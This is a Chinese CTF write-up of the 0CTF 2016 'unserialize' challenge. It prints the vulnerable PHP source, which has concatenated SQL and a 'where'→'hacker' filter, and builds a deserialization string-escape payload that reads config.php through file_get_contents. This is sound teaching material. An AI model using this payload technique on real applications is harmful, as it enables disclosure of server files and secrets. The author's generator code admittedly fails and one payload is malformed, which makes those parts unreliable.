0ctf_2016_unserialize–|目录扫描|代码审计|php反序列化
为什么我要单独把这一题拎出来讲呢,主要是这道题太恶心了,由于我水平有限,琢磨了一天才搞懂。但是学校的题库时表示有毛病啊,解出来flag还不给看?
目录扫描
打开靶机,是一个登陆界面

查看源码,只知道账号密码是以post方式提交的,除此之外一无所获。
尝试着抓包,看看有没有隐藏一些秘密,但是看来看去看不出端倪。
然后尝试目录扫描,挨个点开,发现一个疑似源码的压缩包,下载到本地,先尝试着这几个文件都访问一遍。

登陆界面

注册界面

更改信息界面提示要我们登录先,那我们先注册一个用户。


更新界面

代码审计
到这里,基本这几个操作,注册、登录、更新我们都知道了,接下来开始愉快的代码审计了。
首先我们登陆的时候,会调用index.php验证,而在index.php有这样一句代码:require_once(‘class.php’);这个函数的意义:在php中,require_once语句用于引用或包含外部的一个php文件,语法“require_once(filename)”或“require_once ‘filename’”;如果该语句指定的文件已经被包含过,则不会再次包含。我觉得在执行index.php时会先执行class.php,但是好像不是这样的(php菜鸟一枚)。
index.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
   | <?php 	require_once('class.php'); 	if($_SESSION['username']) { 		header('Location: profile.php'); 		exit;//session凭证直接免登录 	} 	if($_POST['username'] && $_POST['password']) { 		$username = $_POST['username']; 		$password = $_POST['password'];
  		if(strlen($username) < 3 or strlen($username) > 16)  			die('Invalid user name');
  		if(strlen($password) < 3 or strlen($password) > 16)  			die('Invalid password');
  		if($user->login($username, $password)) { 			$_SESSION['username'] = $username; 			header('Location: profile.php'); 			exit;	 		}//登陆成功 		else { 			die('Invalid user name or password'); 		} 	} ?>
   | 
 
这个应该就是登录页面,输入账号和密码,如果正确,那就跳转到profile.php页面,就是显示个人信息的页面。
register.php
注册页面,就是简单的注册,没有可疑点。
update.php
更改信息界面,需要满足一定正则过滤规则才可以更改。
profile.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
   | <?php 	require_once('class.php'); 	if($_SESSION['username'] == null) { 		die('Login First');	 	} 	$username = $_SESSION['username']; 	$profile=$user->show_profile($username); 	if($profile  == null) { 		header('Location: update.php'); 	} 	else { 		$profile = unserialize($profile); 		$phone = $profile['phone']; 		$email = $profile['email']; 		$nickname = $profile['nickname']; 		$photo = base64_encode(file_get_contents($profile['photo']));     } ?>
   | 
 
看到unserialize,就要注意了。可以知道,profile.php内的操作数据,来自于update.php,那么,应该有这样的思路:在update.php传入序列化数据(payload),是否可以实现获取flag
继续看,发现
1
   | $photo = base64_encode(file_get_contents($profile['photo']));
   | 
 
因为flag一般在一个文件中,要想知道flag,一般需要读取(php伪协议或php函数),这里有文件读取功能的函数file_get_contents()引起了我的注意,我就想,会不会是这个地方能够读取到flag呢?可能也就是说,我们要修改 profile 中的 photo 来读取flag。还有几个文件没有看,我们继续看。
class.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100
   | <?php require('config.php');
  class user extends mysql{ 	private $table = 'users';
  	public function is_exists($username) { 		$username = parent::filter($username);
  		$where = "username = '$username'"; 		return parent::select($this->table, $where); 	} 	public function register($username, $password) { 		$username = parent::filter($username); 		$password = parent::filter($password);
  		$key_list = Array('username', 'password'); 		$value_list = Array($username, md5($password)); 		return parent::insert($this->table, $key_list, $value_list); 	} 	public function login($username, $password) { 		$username = parent::filter($username); 		$password = parent::filter($password);
  		$where = "username = '$username'"; 		$object = parent::select($this->table, $where); 		if ($object && $object->password === md5($password)) { 			return true; 		} else { 			return false; 		} 	} 	public function show_profile($username) { 		$username = parent::filter($username);
  		$where = "username = '$username'"; 		$object = parent::select($this->table, $where); 		return $object->profile; 	} 	public function update_profile($username, $new_profile) { 		$username = parent::filter($username); 		$new_profile = parent::filter($new_profile);
  		$where = "username = '$username'"; 		return parent::update($this->table, 'profile', $new_profile, $where); 	} 	public function __tostring() { 		return __class__; 	} }
  class mysql { 	private $link = null;
  	public function connect($config) { 		$this->link = mysql_connect( 			$config['hostname'], 			$config['username'],  			$config['password'] 		); 		mysql_select_db($config['database']); 		mysql_query("SET sql_mode='strict_all_tables'");
  		return $this->link; 	}
  	public function select($table, $where, $ret = '*') { 		$sql = "SELECT $ret FROM $table WHERE $where"; 		$result = mysql_query($sql, $this->link); 		return mysql_fetch_object($result); 	}
  	public function insert($table, $key_list, $value_list) { 		$key = implode(',', $key_list); 		$value = '\'' . implode('\',\'', $value_list) . '\'';  		$sql = "INSERT INTO $table ($key) VALUES ($value)"; 		return mysql_query($sql); 	}
  	public function update($table, $key, $value, $where) { 		$sql = "UPDATE $table SET $key = '$value' WHERE $where"; 		return mysql_query($sql); 	}
  	public function filter($string) { 		$escape = array('\'', '\\\\'); 		$escape = '/' . implode('|', $escape) . '/'; 		$string = preg_replace($escape, '_', $string);
  		$safe = array('select', 'insert', 'update', 'delete', 'where'); 		$safe = '/' . implode('|', $safe) . '/i'; 		return preg_replace($safe, 'hacker', $string); 	} 	public function __tostring() { 		return __class__; 	} } session_start(); $user = new user(); $user->connect($config);
   | 
 
require(‘config.php’)将会加载名为config.php的文件的内容,该文件通常包含了一些配置信息。
class一般都是重要函数函数调用和数据库查询需要用到的文件。class中包含了 config.php 去看看config.php。
config.php
1 2 3 4 5 6 7
   | <?php 	$config['hostname'] = '127.0.0.1'; 	$config['username'] = 'root'; 	$config['password'] = ''; 	$config['database'] = ''; 	$flag = ''; ?>
   | 
 
看到这里有个flag  应该是要class调用 config.php进行读取了。
经过前面,我们的的思路就是,注册账号然后登录,然后update 更新自己的信息,我们通过源码看到profile通过update.php经过POST传入phone,email,nickname,photo四个参数,而其中的photo参数具有文件读取的函数功能,所以我们直接让它读取config.php文件即可获得flag。
下列知识点才是干货
如何构造payload
–>字符逃逸
但由于在update.php中,变量$profile[‘photo’]是文件上传控制的但是被经过md5加密了($photo默认值),没办法直接传,结合反序列化函数和前面看到的filter的那些正则匹配替换函数,我们可以试着尝试反序列化的字符逃逸。
1、在update.php中,对输入的nickname也有正则限制。
1 2 3
   | if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10) 			die('Invalid nickname')
 
  | 
 
这里先对它进行了正则,这个正则的意思是匹配除了a-zA-Z0-9_之外的字符,因为 “^” 符号是在 “[]” 里面,所以是非的意思,不是开始的意思,preg_match只能处理字符串,当传入的subject是数组时会返回false,所以我们传入数组可以绕过。
2、还可以发现,在class中,对update的信息存在过滤
1 2 3 4 5 6 7 8 9 10 11 12
   | public function filter($string) { 	$escape = array('\'', '\\\\'); 	$escape = '/' . implode('|', $escape) . '/'; 	$string = preg_replace($escape, '_', $string);
  	$safe = array('select', 'insert', 'update', 'delete', 'where'); 	$safe = '/' . implode('|', $safe) . '/i'; 	return preg_replace($safe, 'hacker', $string); } public function __tostring() { 	return __class__; }
  | 
 
这里可以看到把select,insert,update等字符串替换成hacker,其他都是6个字符串,和hacker一样,并不能让字符串增多,
但这里有一个where是五个字符串,替换成hacker后相当于多了一个字符,如果我们多写几个where,就能多出多个字符串,多出来的字符串可以构造语句形成字符逃逸。
知道了where是关键点,那我要应该怎么构造payload呢?
我们可操作的字段应该是nickname,即在nickname后插入photo的关键内容且保证不被丢弃。
首先思考一个payload:
加入我nickname[]的值为public $nickname = array(“”;}s:5:”photo”;s:10:”config.php”;}”);
那么post传入update时,它自动序列化的payload就是
1
   | O:1:"b":4:{s:5:"phone";s:3:"114";s:5:"email";s:11:"123@163.com";s:8:"nickname";a:1:{i:0;s:34:"";}s:5:"photo";s:10:"config.php";}"}
  | 
 
你应该会疑惑
1、为什么nickname的string长度为34。
答:首先34:后的””已经是闭合的了,长度为0,但是序列化长度不可为0(正常情况下可以,但是当序列化非空数组或对象时,序列化的字符串长度将大于0。)。那么所以name只能认为”;}s:5:”photo”;s:10:”config.php”;}当作了name的值,这个序列化字符串才能成功反序列化,所以长度为34。
2、这里的photo是nickname的一部分,不可以帮助我们解析处flag,所以,我们就要使用一些方法,把这个$photo从nickname剥离出来。
所以要用到字符逃逸绕过。
“;}s:5:”photo”;s:10:”config.php”;}
我们要让序列化后的内容可以接受以上34个字符。
我们可以想到,由于在class.php内,把select,insert,update、where等字符串替换成hacker。
那么我们可以借助34个where扩充34个位置。
1、如果对方网站没有序列化:
那么构造最终payload的代码如下(删掉变量photo)
1 2 3 4 5 6 7 8 9 10
   | <?php class b{     public $phone = "18148881156"; 	public $email = "123@163.com"; 	public $nickname = array("wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}");//34个where,把photo包含进nickname。 } $a=new b(); $payload=serialize($a); echo $payload; ?>
   | 
 
尴尬的是,这串代码运不了,那我们就手动构造payload。
o:4:{s:5:"phone";s:11:"12345678901";s:5:"email";s:11:"123@163.com";s:8:"nickname";a:1:{i:0;s:204:"wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}
这样,传输到对方网站后端时,在where被正则匹配换成hacker之后,正好满足长度(成功把数组闭合掉),然后后面的”};s:5:“photo”;s:10:“config.php”;}也就不是nickname的一部分了,被反序列化的时候就会被当成photo,就可以读取到config.php的内容了。
到达对方网站后端时,由于对面网站存在对where的过滤,那么每存在一个where,就会逃逸一个字符,借对方的过滤代码帮我们还原了,哈哈。而且,之前提到的那个$photo默认值,此时也被丢弃啦!
2、这里由于update.php已经存在了序列化,那么我们实际的payload为:
wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}
这样抓包修改即可,不赘述,最后查看源码,再base64解码以下即可。
这道题我做了一天,感觉挺恶心的。
后记
一些以前遗漏的知识点(php反序列化绕过姿势-进阶):
特点1:
php在反序列化时,底层代码是以 ; 作为字段的分隔,以 } 作为结尾,并且是根据长度判断内容的 ,同时反序列化的过程中必须严格按照序列化规则才能成功实现反序列化 ,超出的部分并不会被反序列化成功,这说明反序列化的过程是有一定识别范围的,在这个范围之外的字符都会被忽略,不影响反序列化的正常进行。而且可以看到反序列化字符串都是以”;}结束的,那如果把”;}添入到需要反序列化的字符串中(除了结尾处),就能让反序列化提前闭合结束,后面的内容就相应的丢弃了。
特点2:
长度不对应会报错
漏洞产生:
反序列化之所以存在字符逃逸,最主要的原因是代码中存在针对序列化(serialize())后的字符串进行了过滤操作(变多或者变少)。
漏洞常见条件:
序列化后过滤再去反序列化
from:
感觉这两篇学习绕过姿势的文章都挺好,强烈安利
https://zhuanlan.zhihu.com/p/628402113
https://blog.csdn.net/m0_64815693/article/details/127982134
特别鸣谢
https://zhuanlan.zhihu.com/p/628402113
https://www.jb51.net/article/180496.htm